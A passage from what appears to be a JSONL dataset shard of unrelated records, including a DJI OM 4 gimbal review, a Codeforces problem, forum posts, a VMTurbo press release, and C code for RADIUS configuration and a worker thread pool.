by people, but businesses are saving and handling data 80 percent.\n73 percent of organizations have invested or intend to invest in Big Data and Data Science.\nAdvertisers who leverage the complete energy of Data Science can boost their operating earnings by up to 60 percent.\nThere are almost as many parts of digital information since there are stars in the world.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1427, "token_count_with_eod": 1428, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Episode 4: The Ideal Day in EPCOT. In this episode we discuss one of our all time favorite parks: EPCOT! We talk about Living with the Land, margaritas, taking way too many photos of Spaceship Earth, and more!\nDaily Photo of Spaceship Earth Instagram Account: https://www.instagram.com/daily.photo.of.spaceship.earth/\nFollow us on Instagram: https://instagram.com/theparksacademy\nSupport us on patreon: https://www.patreon.com/theparksacademypod", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Kleofáš is participating in an n-thlon - a tournament consisting of n different competitions in n different disciplines (numbered 1 through n). There are m participants in the n-thlon and each of them participates in all competitions.\n\nIn each of these n competitions, the participants are given ranks from 1 to m in such a way that no two participants are given the same rank - in other words, the ranks in each competition form a permutation of numbers from 1 to m. The score of a participant in a competition is equal to his/her rank in it.\n\nThe overall score of each participant is computed as the sum of that participant's scores in all competitions.\n\nThe overall rank of each participant is equal to 1 + k, where k is the number of participants with strictly smaller overall score.\n\nThe n-thlon is over now, but the results haven't been published yet. Kleofáš still remembers his ranks in each particular competition; however, he doesn't remember anything about how well the other participants did. Therefore, Kleofáš would like to know his expected overall rank.\n\nAll competitors are equally good at each discipline, so all rankings (permutations of ranks of everyone except Kleofáš) in each competition are equiprobable.", "source": "cpt_codeforces", "language": "en", "token_count": 259, "token_count_with_eod": 260, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Configuring the Number of Restarts\nThere can be situations where a job doesn't run successfully for some reason outside of your control. Say\nfor example that the job downloads a file from a web site as one of its steps, and the web site is down. If\nthe download fails the first time, it may work if you try again in 10 minutes. However, you probably don't\nwant to try that download indefinitely. Because of this, you may want to configure the job so it can be\nexecuted only five times. After the fifth time, it can't be rerun any more.\nSpring Batch provides this facility at the step level instead of the job level. Again, looking at the\ntransactionJob example, if you only want to attempt to import an input file twice, you modify the step\nconfiguration as in Listing 6-38.\nListing 6-38. Allowing the File Import to Be Attempted Only Once\n<chunk reader=\"transactionFileReader\" writer=\"transactionWriter\"\nIn this case, if you attempt to restart this job more than once, because the start-limit attribute has\nbeen configured to 2 , you can't reexecute this job. The initial run takes up one attempt you're allowed\nallowing you one other try. You receive an\norg.springframework.batch.core.StartLimitExceededException , as shown in Listing 6-39, if you attempt\nto execute the job again.\nListing 6-39. Results from Reexecuting transactionJob More Than Once\n2011-01-13 20:10:05,127 ERROR\n[org.springframework.batch.core.job.AbstractJob] - <Encountered fatal error\norg.springframework.batch.core.JobExecutionException: Flow execution ended", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 374, "token_count_with_eod": 375, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Checking out the new Real Player\n, along with the Real Guide\n. At least RealVideo looks better than flash. DVD quality? Not!\nThe new player and guide are looking pretty good. Just don't click on anything! The RealPlayer jumps around on the screen like it's got a live carp up the leg of its pants...\nYou can't really browse around the guide while listening in the background. It's impossible to tell what will cause the player to switch titles/tracks. And how long has the iTunes music store been live?", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "With the OM 4 smartphone gimbal ($149), DJI continues to impress with its ability to innovate. When I first reviewed the Osmo Mobile 2, its features were impressive, but it was a massive device to have to carry just to improve your smartphone photography. With the Osmo Mobile 3, DJI addressed that issue by creating a clever folding system. However, using it was still a little painful, as you had to fiddle with the clamp each time you wanted to mount your phone. Unless you have two phones and can leave one in it, that's quite a hassle.I've been using a review unit of the new DJI OM 4 (DJI shortened up the name from Osmo Mobile to OM) for a few days now, and its new magnetic mounting system makes those worries a thing of the past.\nDJI's OM 4 By the Numbers\nFor the most part, anyone who has used a previous generation Osmo Mobile will recognize the design and control layout of the fourth-generation device. Like the 3, the OM 4 folds nicely for compact carrying. It's actually a little more compact because it doesn't have an attached clamp.DJI's OM 4's new magnetic mount makes using a gimbal a lot simpler than with previous models.\nThe biggest difference is the mounting system. The OM 4 features a strong magnet that attaches either to a metal clamp you place on your phone, or for more permanent use, to a metal disk you can stick on your phone. Either is much more convenient than the previous system, and the clamp is fairly low profile, so it doesn't interfere too much with using your phone (although in my case the middle of the phone where it should go always seems to mean it covers one of the buttons a bit).\nThe OM 4 features a USB-C charging port, a nice change from so many accessories that still use older connectors. The device takes about 2-1/2 hours for a full charge that should last for around 15 hours of operation.DJI provides everything you need to get started using the OM 4 in the standard package. No need for a kit upsell.\nUsing the DJI OM 4\nLike every DJI product I've used, the first step is logging in to your DJI account and downloading an app -- in this case DJI Mimo. I'm really not a big fan of requiring a login to use a camera accessory like a gimbal. It seems unnecessary and one more potential privacy exposure. Hopefully, this practice won't spread to the people who make smart triggers and other accessories. Once I logged in and opened the app, it found the OM4 instantly and paired with my Pixel 3 and Huawei Mate 20 Pro effortlessly.DJI markets the OM 4 as being designed to allow operation with one hand. Technically that's true, but you're likely to find it easier to do with one hand than the other. In my case, I found it easier to move my thumb to the appropriate controls when using my left hand (I'm left-handed, but I don't think that was why I found it easier). The stronger motor in the OM 4 meant it had an easier time balancing and moving the Huawei Mate 20 Pro I tested with it (I used it in particular because it is the same phone I used with the Mobile 3). That also meant that panoramas seemed faster, although I don't have previous times to compare the actual numbers.\nDJI Mimo and the OM 4 Pack Some New TricksIn addition to all the clever pre-programmed modes found in the Mobile 3, such as ActiveTrack, the Mimo app for the OM 4 adds a \"Dolly Zoom\" and \"Clone Me Panorama.\" Hyperlapse and Timelapse, which employ both the 3-axis gimbal and Electronic Image Stabilization, have been upgraded. A Sport Mode allows faster gimbal response for tracking faster-moving subjects. It also brings forward Story mode, which allows you to quickly generate videos based on one of DJI's templates. Personally, I really enjoy the Timelapse and Hyperlapse capabilities. However, if you're going to do anything exciting with them you may want to have a second phone for that purpose, especially if the project involves leaving a phone somewhere that it can be tampered with or stolen.\nPanning Stabilization Remains a Strong Point\nOf course, the central feature of a gimbal is how well it stabilizes. I ran a test panning across the same scene using four different setups. For the first test video I panned manually, by twisting the gimbal with my hand:\n[embed width=640 height=360]https://youtu.be/FADb5RIBfzY[/embed]\nThen I switched to using the automated panning via the thumbstick. I set the thumbstick to only allow horizontal and vertical direction changes, to help keep it level. For my first test, I pushed the thumbstick all the way to the right to get a sense of how quickly you can pan (you can actually go even faster by changing the settings to accelerate it further):\n[embed width=640 height=360]https://youtu.be/mdU5yL_fAGw[/embed]\nThen I repeated the pan but with just a light push on the thumbstick. It's not trivial to keep a constant level of light pressure, so the motion isn't quite as smooth:\n[embed width=640 height=360]https://youtu.be/sAf1EzIyThU[/embed]\nTo get a slow pan with more consistent motion, I changed the settings to reduce the panning sensitivity. That allowed me to get a slow pan even with the thumbstick held all the way to the right:[embed width=640 height=360]https://youtu.be/W00jxNkfneg[/embed]\nIs the DJI OM 4 For You?\nFrankly, if you need a smartphone gimbal, DJI continues to innovate and produce a full-featured product at a rational price. For $149 you get the gimbal, a phone clamp, a stick-on disk for permanent attachment to a phone, a cute little mini-tripod, a charging cable, and a carrying pouch. You can get a replacement clamp for $25 and an additional disk for $19.\nWithin days of its launch, I received announcements from competitors priced as low as half of DJI's cost, but from past experience, they're never quite as full-featured or well supported. In my case, I have two major uses for my smartphone gimbals. The first is when filming from a boat or other motorized vehicle, where a gimbal is really essential for smooth video. The second is the Timelapse and Hyperlapse features. Combining them with a gimbal provides a much easier and more effective way to create those special effects than attempting to do them with an app and a tripod.\nFor many users, the editing features of Mimo and the Story mode will also be a benefit. Personally, I typically just use Mimo to control the gimbal and capture video. I then use Adobe's Premiere Rush to assemble it. I'm looking forward to some interesting projects using the OM 4. It is handy enough to take anywhere and has a wide variety of uses, including even simple ones such as helping stabilize long-exposure and low-light images.Now Read:", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "/* this file is created by silc_mgmtd_inst_func_source_gen.py */\n\n#include \"is_mgmtd_func_def.h\"\n#include \"time.h\"\n\n#define IS_MGMTD_RADIUS_SERVER_CONFIG \"/etc/pam_radius_auth.conf\"\n\nint is_mgmtd_system_check_hostname(char* hostname);\n\nint is_mgmtd_radius_update_server_secret(silc_mgmtd_node* server_node)\n{\n\tsilc_mgmtd_node *p_secret_tmp = silc_mgmtd_memdb_find_sub_node(server_node, \"secret-tmp\");\n\tif(strlen(p_secret_tmp->value.val.string_val) > 0)\n\t{\n\t\t//secret is changed, set it to secret node and clear secret-tmp node\n\t\tsilc_mgmtd_node* p_secret = silc_mgmtd_memdb_find_sub_node(server_node, \"secret\");\n\t\tsilc_cstr new_secret = p_secret_tmp->value.val.string_val;\n\t\tsilc_mgmtd_var_set_by_str(&p_secret->value, new_secret);\n\t\tsilc_mgmtd_var_set_by_str(&p_secret_tmp->value, \"\");\t//clear secret-tmp so it can't be seen when query\n\t}\n\n\treturn 0;\n}\n\nint is_mgmtd_radius_write_server(FILE* fp, silc_mgmtd_node* server_node)\n{\n\tsilc_mgmtd_node* p_node;\n\tchar *ip, *key;\n\tuint32_t port, timeout;\n\n\tp_node = silc_mgmtd_memdb_find_sub_node(server_node, \"server-ip\");\n\tip = p_node->value.val.string_val;\n\n\tp_node = silc_mgmtd_memdb_find_sub_node(server_node, \"server-port\");\n\tport = p_node->value.val.uint32_val;\n\n\tp_node = silc_mgmtd_memdb_find_sub_node(server_node, \"secret\");\n\tkey = p_node->value.val.string_val;\n\n\tp_node = silc_mgmtd_memdb_find_sub_node(server_node, \"timeout\");\n\ttimeout = p_node->value.val.uint32_val;\n\n\tfprintf(fp, \"%s:%d\\t%s\\t%d\\n\\n\",\n\t\t\t\tip, port, key, timeout);\n\treturn 0;\n}\n\nint is_mgmtd_radius_server_apply(silc_mgmtd_node* new_node, char* path_del)\n{\n\tsilc_mgmtd_node *p_db_sub_node;\n\tsilc_mgmtd_node *p_node;\n\tFILE* fp;\n\ttime_t t;\n\n\tchar path[256];\n\n\tfp = fopen(IS_MGMTD_RADIUS_SERVER_CONFIG\".bak\", \"w\");\n\n\ttime(&t);\n\tfprintf(fp, \"##\\n\"\n\t\t\t\t\"## This file was AUTOMATICALLY GENERATED.  DO NOT MODIFY.\\n\"\n\t\t\t\t\"## Any changes will be lost.\\n\"\n\t\t\t\t\"##\\n\"\n\t\t\t\t\"## Generated by %s at %s\"\n\t\t\t\t\"##\\n\", __func__, ctime(&t));\n\n\tfprintf(fp, \"# server[:port]\\tshared_secret\\ttimeout (sec)\\n\");\n\n\tp_node = silc_mgmtd_memdb_find_node(\"/config/radius/server\");\n\tsilc_list_for_each_entry(p_db_sub_node, &p_node->sub_node_list, node)\n\t{\n\t\tif (path_del)\n\t\t{\n\t\t\tsilc_mgmtd_memdb_get_node_path(p_db_sub_node, path);\n\t\t\tif (strcmp(path, path_del) == 0)\n\t\t\t\tcontinue;\n\t\t}\n\n\t\tif (p_db_sub_node->type == MEMDB_NODE_TYPE_DYNAMIC)\n\t\t{\n\t\t\tis_mgmtd_radius_write_server(fp, p_db_sub_node);\n\t\t}\n\t}\n\t/*\n\tif (new_node)\n\t{\n\t\tis_mgmtd_radius_write_server(fp, new_node);\n\t}\n\t*/\n\n\tfflush(fp);\n\tfclose(fp);\n\n\trename(IS_MGMTD_RADIUS_SERVER_CONFIG\".bak\", IS_MGMTD_RADIUS_SERVER_CONFIG);\n\n\treturn 0;\n}\n\nint is_mgmtd_radius_server_add_config(silc_mgmtd_node* p_node, void* conn_entry)\n{\n\tUSER_OP_LOG(conn_entry, \"Radius server %u is added\", p_node->value.val.uint32_val);\n\tis_mgmtd_radius_update_server_secret(p_node);\n\tis_mgmtd_radius_server_apply(p_node, NULL);\n\treturn 0;\n}\n\nint is_mgmtd_radius_server_modify_config(silc_mgmtd_node* p_node, void* conn_entry)\n{\n\tUSER_OP_LOG(conn_entry, \"Radius server %u is modified\", p_node->value.val.uint32_val);\n\tis_mgmtd_radius_update_server_secret(p_node);\n\tis_mgmtd_radius_server_apply(NULL, NULL);\n\treturn 0;\n}\n\nint is_mgmtd_radius_server_delete_config(silc_mgmtd_node* p_node, void* conn_entry)\n{\n\tchar node_path[256];\n\tsilc_mgmtd_memdb_get_node_path(p_node, node_path);\n\n\tUSER_OP_LOG(conn_entry, \"Radius server %u is deleted\", p_node->value.val.uint32_val);\n\tis_mgmtd_radius_server_apply(NULL, node_path);\n\treturn 0;\n}\n\nint is_mgmtd_radius_server_check_req(silc_mgmtd_if_req_type type, silc_mgmtd_node* server_node, void* conn_entry)\n{\n\tsilc_mgmtd_node* p_node;\n\tsilc_cstr hostname;\n\tuint32_t port;\n\tsilc_bool server_changed = silc_false;\n\n\tp_node = silc_mgmtd_memdb_find_sub_node(server_node, \"timeout\");\n\tif (p_node->tmp_value.type != SILC_MGMTD_VAR_NULL)\n\t{\n\t\tuint32_t to = p_node->tmp_value.val.uint32_val;\n\t\tif (to < 1 || to > 60)\n\t\t{\n\t\t\tSILC_ERR(\"RADIUS server timeout should be 1-60\");\n\t\t\treturn IS_MGMTD_ERR_BASE_INVALID_PARAM;\n\t\t}\n\t}\n\n\tp_node = silc_mgmtd_memdb_find_sub_node(server_node, \"server-ip\");\n\tif (p_node->tmp_value.type != SILC_MGMTD_VAR_NULL)\n\t{\n\t\thostname = p_node->tmp_value.val.string_val;\n\t\tint ret = is_mgmtd_system_check_hostname(hostname);\n\t\tif (ret)\n\t\t\treturn ret;\n\t\tserver_changed = silc_true;\n\t}\n\telse\n\t\thostname = p_node->value.val.string_val;\n\n\tp_node = silc_mgmtd_memdb_find_sub_node(server_node, \"server-port\");\n\tif (p_node->tmp_value.type != SILC_MGMTD_VAR_NULL)\n\t{\n\t\tport = p_node->tmp_value.val.uint32_val;\n\t\tif (port == 0 || port > 65535)\n\t\t{\n\t\t\tSILC_ERR(\"Invalid Radius server port: %u\", port);\n\t\t\treturn IS_MGMTD_ERR_BASE_INVALID_PARAM;\n\t\t}\n\t\tserver_changed = silc_true;\n\t}\n\telse\n\t\tport = p_node->value.val.uint32_val;\n\n\tif (SILC_MGMTD_IF_REQ_CHECK_ADD == type || server_changed)\n\t{\n\t\tsilc_mgmtd_node* p_sub_node;\n\t\tp_node = silc_mgmtd_memdb_find_node(\"/config/radius/server\");\n\t\tsilc_list_for_each_entry(p_sub_node, &p_node->sub_node_list, node)\n\t\t{\n\t\t\tif(p_sub_node->type != MEMDB_NODE_TYPE_DYNAMIC)\n\t\t\t\tcontinue;\n\t\t\tif (p_sub_node->value.val.uint32_val != server_node->value.val.uint32_val &&\n\t\t\t\t\t0 == strcmp(hostname, silc_mgmtd_memdb_find_sub_node(p_sub_node, \"server-ip\")->value.val.string_val) &&\n\t\t\t\t\tport == silc_mgmtd_memdb_find_sub_node(p_sub_node, \"server-port\")->value.val.uint32_val)\n\t\t\t{\n\t\t\t\tSILC_ERR(\"Radius server %s:%u already exists\", hostname, port);\n\t\t\t\treturn IS_MGMTD_ERR_AAA_SERVER_DUPLICATED;\n\t\t\t}\n\t\t}\n\t}\n\n\treturn 0;\n}\n\nint is_mgmtd_radius_server_config(silc_mgmtd_if_req_type type, void* p_db_node, void* conn_entry)\n{\n#ifndef SILC_MGMTD_LOCAL_DEBUG\n\tsilc_mgmtd_node* p_node = (silc_mgmtd_node*)p_db_node;\n\tint ret = 0;\n\n\tif (silc_list_empty(&p_node->sub_node_list))\n\t{\n\t\tp_node = p_node->p_parent;\n\t}\n\tswitch (type)\n\t{\n\t\tcase SILC_MGMTD_IF_REQ_CHECK_ADD:\n\t\tcase SILC_MGMTD_IF_REQ_CHECK_MODIFY:\n\t\tcase SILC_MGMTD_IF_REQ_CHECK_DELETE:\n\t\t\tret = is_mgmtd_radius_server_check_req(type, p_node, conn_entry);\n\t\t\tbreak;\n\t\tcase SILC_MGMTD_IF_REQ_ADD:\n\t\t\tret = is_mgmtd_radius_server_add_config(p_node, conn_entry);\n\t\t\tbreak;\n\t\tcase SILC_MGMTD_IF_REQ_MODIFY:\n\t\t\tret = is_mgmtd_radius_server_modify_config(p_node, conn_entry);\n\t\t\tbreak;\n\t\tcase SILC_MGMTD_IF_REQ_DELETE:\n\t\t\tret = is_mgmtd_radius_server_delete_config(p_node, conn_entry);\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tbreak;\n\t}\n\n    return ret;\n#else\n    return 0;\n#endif\n}", "source": "cpt_stack_code", "language": "code", "token_count": 2153, "token_count_with_eod": 2154, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "I recently started a new review website and am currently stuck trying to think of ways to get visitors to write reviews on it.\nThe purpose of the website is for users to write reviews (good or bad) on businesses in their area, websites online, or people they have dealt with or done business with.\nI need help with suggestions/comments on what I can do to attract users to write reviews. I was thinking about revenue sharing or digg like environment, but need help.\nAny ideas are appreciated!", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 103, "token_count_with_eod": 104, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I used to have the articles page as the home page, but there's not enough content being generated for that, so I reverted it to the forum list default which is working quite well.\nThe idea had been that the front page content would drive conversation, but it's hard coming up with articles every day, so all people end up seeing are an almost static articles page, making the site look dead. As it is now, there's movement every single day, even if it's just me creating a new thread or two, or replying, which has succeeded in me having a small, but dedicated community. Note that this is purely a hobby project and has no ads, so this level of activity is a success for me, if modest.\nI've had the odd troll join too and start causing trouble with rants and unpleasantness, but they didn't last long. I don't want activity at any cost, that's for sure. NerdZone is a pleasant and welcoming place for everyone and will stay that way.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 209, "token_count_with_eod": 210, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "|By Business Wire||\n|February 26, 2013 09:10 AM EST||\nVMTurbo, the leading provider of software-defined control for cloud and virtualized environments, today announced that Clifford Chance, one of the world’s leading law firms, has deployed VMTurbo Operations Manager to control its VMware virtual infrastructure.\nVMTurbo Operations Manager controls virtualized and cloud environments by assuring application performance while utilizing the infrastructure as efficiently as possible. The product’s software-defined control offloads and automates decision-making from operational staff instead of just collecting data and providing alerts.\nStewart Cooke, virtualization specialist at Clifford Chance commented, “Our virtual environment is growing rapidly to support our business and, as it does, it becomes more and more complex to manage. VMTurbo Operations Manager enables me to continuously optimize the environment to meet business requirements. It immediately identifies resource contention and tunes the environment to prevent performance issues.”\nWith VMTurbo Operations Manager, Clifford Chance has experienced several benefits, most notably time savings in controlling the environment. The automated decision-making in VMTurbo Operations Manager prevents performance issues from occurring, alleviating “firefighting” activities by the team. Further, resources are automatically allocated to drive higher utilization and take the guesswork out of planning for future requirements.\n“VMTurbo Operations Manager is a product that actually delivers solid recommendations, ones that IT can take back to the business. It also can be automated to control the environment in a healthy state and provides us considerable cost savings,” stated Cooke.\n“We are excited to be working with innovative customers like the team at Clifford Chance,” stated Andrew Mallaband, managing director for the UK and Northern Europe at VMTurbo. “As virtualization and cloud adoption grows, these complex environments require a new approach to controlling the infrastructure and maintaining the desired state. Progressive IT teams like Clifford Chance are adopting our software-defined control system to ensure performance, automate resource allocation, and improve utilization across applications and infrastructure alike – driving down the cost of compute and freeing up operational resources.”\nRead the full case study here.\nAbout VMTurbo Operations Manager\nVMTurbo Operations Manager is the only solution on the market that understands application performance, resource utilization and capacity constraints in a virtualized data center, and is able to automatically adjust allocation to ensure service based on priority. Since its initial release, more than 9,000 cloud service providers and enterprises worldwide have deployed the VMTurbo Software-Defined Control platform to gain greater control and prevent performance issues across their virtual infrastructure. To download VMTurbo Operations Manager 3.3, visit www.vmturbo.com/download.\nFor the latest news and information, engage with VMTurbo via:\nVMTurbo delivers a Software-Defined Control platform for cloud and virtualized environments. The Company’s solutions utilize its Economic Scheduling Engine to dynamically adjust configuration, resource allocation and workload placement to meet service levels and business goals. It is the only technology on the market capable of closing the loop in IT operation by automating the decision-making process to maintain the environment in the desired state. The VMTurbo platform first launched in August 2010 and since that time more than 9,000 cloud service providers and enterprises worldwide have deployed the platform, including British Telecom, Omnicare and L-3 Communications. Using VMTurbo, our customers ensure that applications get the resources they need to operate reliably, while utilizing infrastructure and human resources in the most efficient way. For more information, visit www.vmturbo.com.\nWithout lifecycle traceability and visibility across the tool chain, stakeholders from Planning-to-Ops have limited insight and answers to who, what, when, why and how across the DevOps lifecycle. This impacts the ability to deliver high quality software at the needed velocity to drive positive business outcomes. In his general session at @DevOpsSummit at 19th Cloud Expo, Eric Robertson, General Manager at CollabNet, will discuss how customers are able to achieve a level of transparency that e...\nOct. 21, 2016 09:30 PM EDT Reads: 607\nEffectively SMBs and government programs must address compounded regulatory compliance requirements. The most recent are Controlled Unclassified Information and the EU’s GDPR have Board Level implications. Managing sensitive data protection will likely result in acquisition criteria, demonstration requests and new requirements. Developers, as part of the pre-planning process and the associated supply chain, could benefit from updating their code libraries and design by incorporating changes.\nOct. 21, 2016 09:30 PM EDT Reads: 1,577\nSYS-CON Events announced today that Roundee / LinearHub will exhibit at the WebRTC Summit at @ThingsExpo, which will take place on November 1–3, 2016, at the Santa Clara Convention Center in Santa Clara, CA. LinearHub provides Roundee Service, a smart platform for enterprise video conferencing with enhanced features such as automatic recording and transcription service. Slack users can integrate Roundee to their team via Slack’s App Directory, and '/roundee' command lets your video conference ...\nOct. 21, 2016 09:15 PM EDT Reads: 1,973\nSYS-CON Events announced today that Enzu will exhibit at the 19th International Cloud Expo, which will take place on November 1–3, 2016, at the Santa Clara Convention Center in Santa Clara, CA. Enzu’s mission is to be the leading provider of enterprise cloud solutions worldwide. Enzu enables online businesses to use its IT infrastructure to their competitive advantage. By offering a suite of proven hosting and management services, Enzu wants companies to focus on the core of their online busine...\nOct. 21, 2016 09:15 PM EDT Reads: 1,188\nSYS-CON Events announced today that SoftNet Solutions will exhibit at the 19th International Cloud Expo, which will take place on November 1–3, 2016, at the Santa Clara Convention Center in Santa Clara, CA. SoftNet Solutions specializes in Enterprise Solutions for Hadoop and Big Data. It offers customers the most open, robust, and value-conscious portfolio of solutions, services, and tools for the shortest route to success with Big Data. The unique differentiator is the ability to architect and...\nOct. 21, 2016 08:15 PM EDT Reads: 312\nWhy do your mobile transformations need to happen today? Mobile is the strategy that enterprise transformation centers on to drive customer engagement. In his general session at @ThingsExpo, Roger Woods, Director, Mobile Product & Strategy – Adobe Marketing Cloud, covered key IoT and mobile trends that are forcing mobile transformation, key components of a solid mobile strategy and explored how brands are effectively driving mobile change throughout the enterprise.\nOct. 21, 2016 07:15 PM EDT Reads: 1,606\nIn past @ThingsExpo presentations, Joseph di Paolantonio has explored how various Internet of Things (IoT) and data management and analytics (DMA) solution spaces will come together as sensor analytics ecosystems. This year, in his session at @ThingsExpo, Joseph di Paolantonio from DataArchon, will be adding the numerous Transportation areas, from autonomous vehicles to “Uber for containers.” While IoT data in any one area of Transportation will have a huge impact in that area, combining senso...\nOct. 21, 2016 07:15 PM EDT Reads: 232\n@ThingsExpo has been named the Top 5 Most Influential Internet of Things Brand by Onalytica in the ‘The Internet of Things Landscape 2015: Top 100 Individuals and Brands.' Onalytica analyzed Twitter conversations around the #IoT debate to uncover the most influential brands and individuals driving the conversation. Onalytica captured data from 56,224 users. The PageRank based methodology they use to extract influencers on a particular topic (tweets mentioning #InternetofThings or #IoT in this ...\nOct. 21, 2016 07:00 PM EDT Reads: 8,101\n\"Matrix is an ambitious open standard and implementation that's set up to break down the fragmentation problems that exist in IP messaging and VoIP communication,\" explained John Woolf, Technical Evangelist at Matrix, in this SYS-CON.tv interview at @ThingsExpo, held Nov 4–6, 2014, at the Santa Clara Convention Center in Santa Clara, CA.\nOct. 21, 2016 07:00 PM EDT Reads: 8,923\nThe IoT has the potential to create a renaissance of manufacturing in the US and elsewhere. In his session at 18th Cloud Expo, Florent Solt, CTO and chief architect of Netvibes, discussed how the expected exponential increase in the amount of data that will be processed, transported, stored, and accessed means there will be a huge demand for smart technologies to deliver it. Florent Solt is the CTO and chief architect of Netvibes. Prior to joining Netvibes in 2007, he co-founded Rift Technologi...\nOct. 21, 2016 06:45 PM EDT Reads: 2,812\nWhat are the new priorities for the connected business? First: businesses need to think differently about the types of connections they will need to make – these span well beyond the traditional app to app into more modern forms of integration including SaaS integrations, mobile integrations, APIs, device integration and Big Data integration. It’s important these are unified together vs. doing them all piecemeal. Second, these types of connections need to be simple to design, adapt and configure...\nOct. 21, 2016 06:45 PM EDT Reads: 1,857\nFor basic one-to-one voice or video calling solutions, WebRTC has proven to be a very powerful technology. Although WebRTC’s core functionality is to provide secure, real-time p2p media streaming, leveraging native platform features and server-side components brings up new communication capabilities for web and native mobile applications, allowing for advanced multi-user use cases such as video broadcasting, conferencing, and media recording.\nOct. 21, 2016 06:15 PM EDT Reads: 3,011\nKubernetes, Docker and containers are changing the world, and how companies are deploying their software and running their infrastructure. With the shift in how applications are built and deployed, new challenges must be solved. In his session at @DevOpsSummit at19th Cloud Expo, Sebastian Scheele, co-founder of Loodse, will discuss the implications of containerized applications/infrastructures and their impact on the enterprise. In a real world example based on Kubernetes, he will show how to ...\nOct. 21, 2016 05:15 PM EDT Reads: 2,814\n@DevOpsSummit has been named the ‘Top DevOps Influencer' by iTrend. iTrend processes millions of conversations, tweets, interactions, news articles, press releases, blog posts - and extract meaning form them and analyzes mobile and desktop software platforms used to communicate, various metadata (such as geo location), and automation tools. In overall placement, @DevOpsSummit ranked as the number one ‘DevOps Influencer' followed by @CloudExpo at third, and @MicroservicesE at 24th.\nOct. 21, 2016 04:30 PM EDT Reads: 3,796\nEstablished in 1998, Calsoft is a leading software product engineering Services Company specializing in Storage, Networking, Virtualization and Cloud business verticals. Calsoft provides End-to-End Product Development, Quality Assurance Sustenance, Solution Engineering and Professional Services expertise to assist customers in achieving their product development and business goals. The company's deep domain knowledge of Storage, Virtualization, Networking and Cloud verticals helps in delivering ...\nOct. 21, 2016 04:15 PM EDT Reads: 921", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 2630, "token_count_with_eod": 2631, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "/**\n * (C) 2007-2019 XiYouF4 Holding Limited\n *\n * This program is free software; you can redistribute it and/or modify\n * it under the terms of the GNU General Public License version 2 as\n * published by the Free Software Foundation.\n *\n * Version: 1.0: xv_th_pool.c 08/11/2019 $\n *\n * Authors:\n *   hurley25 <liuhuan1992@gmail.com>\n */\n\n#include \"xv_th_pool.h\"\n\n#include <stdlib.h>\n#include <pthread.h>\n\n#include \"xv.h\"\n#include \"xv_log.h\"\n#include \"xv_queue.h\"\n\n// ----------------------------------------------------------------------------------------\n// xv_worker_thread_t\n// ----------------------------------------------------------------------------------------\nstruct xv_worker_thread_t {\n    xv_concurrent_queue_t *task_queue;\n    xv_loop_t *loop;\n    xv_async_t *async;\n    pthread_t id;\n    int start;\n};\n\ntypedef struct xv_task_t {\n    void (*cb)(void *);\n    void *args;\n} xv_task_t;\n\nstatic void worker_async_cb(xv_loop_t *loop, xv_async_t *async)\n{\n    xv_log_debug(\"worker thread run worker_async_cb\");\n\n    xv_worker_thread_t *thread = (xv_worker_thread_t *)xv_async_get_userdata(async);\n    while (xv_concurrent_queue_size(thread->task_queue) > 0) {\n        if (xv_curr_log_level == XV_LOG_DEBUG) {\n            xv_log_debug(\"worker thread running task, task count: %d\", xv_concurrent_queue_size(thread->task_queue));\n        }\n        xv_task_t *task = (xv_task_t *)xv_concurrent_queue_pop(thread->task_queue);\n        if (task && task->cb) {\n            task->cb(task->args);\n            xv_free(task);\n        }\n    }\n    if (!thread->start) {\n        xv_log_debug(\"worker thread stopped, break loop\");\n        xv_loop_break(loop);\n    }\n}\n\nstatic void *worker_entry(void *args)\n{\n    xv_worker_thread_t *thread = (xv_worker_thread_t *)args;\n    while (thread->start) {\n        xv_log_debug(\"thread->start is %d, will call xv_loop_run\", thread->start);\n        xv_loop_run(thread->loop);\n    }\n    xv_log_debug(\"loop break, worker thread exit\");\n\n    return NULL;\n}\n\nxv_worker_thread_t *xv_worker_thread_init(void)\n{\n    xv_log_debug(\"worker thread init\");\n\n    xv_worker_thread_t *thread = (xv_worker_thread_t *)xv_malloc(sizeof(xv_worker_thread_t));\n    thread->task_queue = xv_concurrent_queue_init();\n    thread->loop = xv_loop_init(1024);\n    thread->async = xv_async_init(worker_async_cb);\n    xv_async_set_userdata(thread->async, thread);\n    thread->start = 0;\n\n    return thread;\n}\n\nvoid xv_worker_thread_destroy(xv_worker_thread_t *thread)\n{\n    xv_log_debug(\"worker thread will destroy\");\n\n    xv_worker_thread_stop(thread);\n    xv_async_send(thread->async);\n\n    int ret = pthread_join(thread->id, NULL);\n    if (ret != 0) {\n        xv_log_errno_error(\"pthread_join\");\n    }\n\n    xv_async_stop(thread->loop, thread->async);\n    xv_async_destroy(thread->async);\n    xv_loop_destroy(thread->loop);\n    xv_concurrent_queue_destroy(thread->task_queue, xv_free);\n    xv_free(thread);\n}\n\nint xv_worker_thread_start(xv_worker_thread_t *thread)\n{\n    if (thread->start) {\n        xv_log_warn(\"worker thread already started!\");\n        return XV_ERR;\n    }\n    thread->start = 1;\n    xv_memory_barriers();\n\n    int ret = xv_async_start(thread->loop, thread->async);\n    if (ret != XV_OK) {\n        xv_log_error(\"worker thread xv_async_start failed!\");\n        return XV_ERR;\n    }\n    ret = pthread_create(&thread->id, NULL, worker_entry, thread);\n    if (ret != 0) {\n        xv_log_errno_error(\"pthread_create\");\n        return XV_ERR;\n    }\n\n    xv_log_debug(\"worker thread start\");\n\n    return XV_OK;\n}\n\nint 